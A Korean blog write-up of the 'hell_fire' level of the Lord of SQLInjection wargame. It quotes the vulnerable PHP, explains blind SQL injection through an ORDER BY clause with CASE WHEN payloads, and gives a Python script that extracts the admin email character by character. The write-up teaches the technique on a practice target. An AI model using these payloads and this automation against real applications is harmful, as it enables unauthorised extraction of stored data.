본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : hell_fire

Write-Up

 

  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");

 

위의 php 서버 코드를 보면, 현재 injection point는 order by 절 뒤이다. 해당 문제를 풀기 위해 CASE WHEN 구문을 사용해줬다. 

 

CASE WHEN length(email)=18 THEN 0 ELSE 1 END;

 

위의 payload를 order 파라미터의 인자 값으로 전달 할 때, 테이블 상 rubiya 가 admin 보다 높은 자리에 위치하게 된다. ( 18을 사용한 이유는 id: rubiya의 email 길이가 18글자 였기 때문이다. )

 

CASE WHEN length(email) > 18 THEN 0 ELSE 1 END;

 

위와 같이 email 컬럼의 길이가 18 글자를 초과한다는 조건일 때는 admin 이 rubiya 보다 높아지게 된다. 이를 이용해 주기로 한다. 

 

CASE%20WHEN%20length(email)%20=%2028%20THEN%200%20ELSE%201%20END;

 

위 payload로 admin의 email 길이는 28글자 임을 알게 되었다. 

 

이제 email 값을 구하기로 한다. 아래와 같이 CASE WEHN 구문을 사용해 준다. 

 

CASE WHEN ascii(substr(email,1,1))=1 THEN 0 WHEN length(email) < 28 THEN 1 ELSE 2 END;

 

아래와 같이 자동화 코드를 사용해준다. 

 

import requests
import string

url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order= "
cookies ={'PHPSESSID':"keogb0hg2e84st5u0ejgaa33d8"}

result=""

for i in range(3,6):
    for j in range(32,127):
        param="CASE WHEN ascii(substr(email,"+str(i)+",1))="+str(j)+" THEN 0 WHEN length(email) < 28 THEN 1 ELSE 2 END"
        URL = url+param

        response = requests.get(URL, cookies=cookies)
        # print(response.text)
        # if "<tbody><tr><th>id</th><th>email</th><th>score</th></tr><tr><td>admin</td><td>**************</td><td>200</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr></tbody>" in response.text:
        if "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr><tr><td>admin</td><td>**************</td><td>200</td></tr></table>" not in response.text:
            result += chr(j)
            print(i,":",result)
            break
print("email: "+result)

 

email 글자로, admn_secure_email@emai1.com 가 구해진다. 그런데 28글자가 아닌, 27자이다. 그 이유는 id rubiya의 email을 보면되는데, rubiya805@gmail.cm 이다. 4번째 글자가 i 로 같다. DB 상 rubiya가 더 위에 있기에 4번째 글자는 출력되지 않은 것으로 보인다. 

 

 

( 문제와 관련 없음 )

처음에는 "<tbody><tr>......"과 같이 reponse 응답을 잡으려 했는데, 응답에 <tbody>가 오지 않았다. reponse.text를 찍어봤고, 페이지 리소스를 볼 때도 <tbody> 태그가 없었다. 오직, 개발자 도구를 통해서만 확인이 가능했다. 이유는 모르겠다. 브라우저에서 해석해(정리해) <tbody>로 나타내주는건가.. 추측이다..

 

 

실습

 

그림 1

 

위 그림 1은 ORDER BY 정렬 시, CASE WEHN을 통해 조건을 거는 실습 예제이다. 0, 1, 2 .... 순서 대로 순위를 정해주었고, 그 순서대로 적용되어 정렬된 채 출력된 것을 확인할 수 있다. 

 

 

 

 

 

 

 

 

참고

 

https://jwcs.tistory.com/83

 

[SQL] order by 0 과 order by if(1=1, 0, 0)의 차이

sql injection 쿼리를 분석하다가 공부한 내용이다. 먼저 `order by 0`에 대해 알아보겠다. order by [상수(리터럴)]: 상수 번째 칼럼을 기준으로 정렬하겠다는 의미다. 이 값은 1부터 시작한다. 따라서 0을

jwcs.tistory.com

 

order by 관련 injection

https://dailylearn.tistory.com/36

 

[Web Hacking] WebGoat SQL Injection(mitigation) 문제풀이

※ 선행 학습 필요 개념 Order by 절 SELECT문으로 검색된 데이터를 오름차순(ASC)이나 내림차순(DESC)으로 정렬시킬 때 사용한다. Default 값은 Ascending(오름차순)으로 ASC는 생략해도 되며, 문자는 알파벳

dailylearn.tistory.com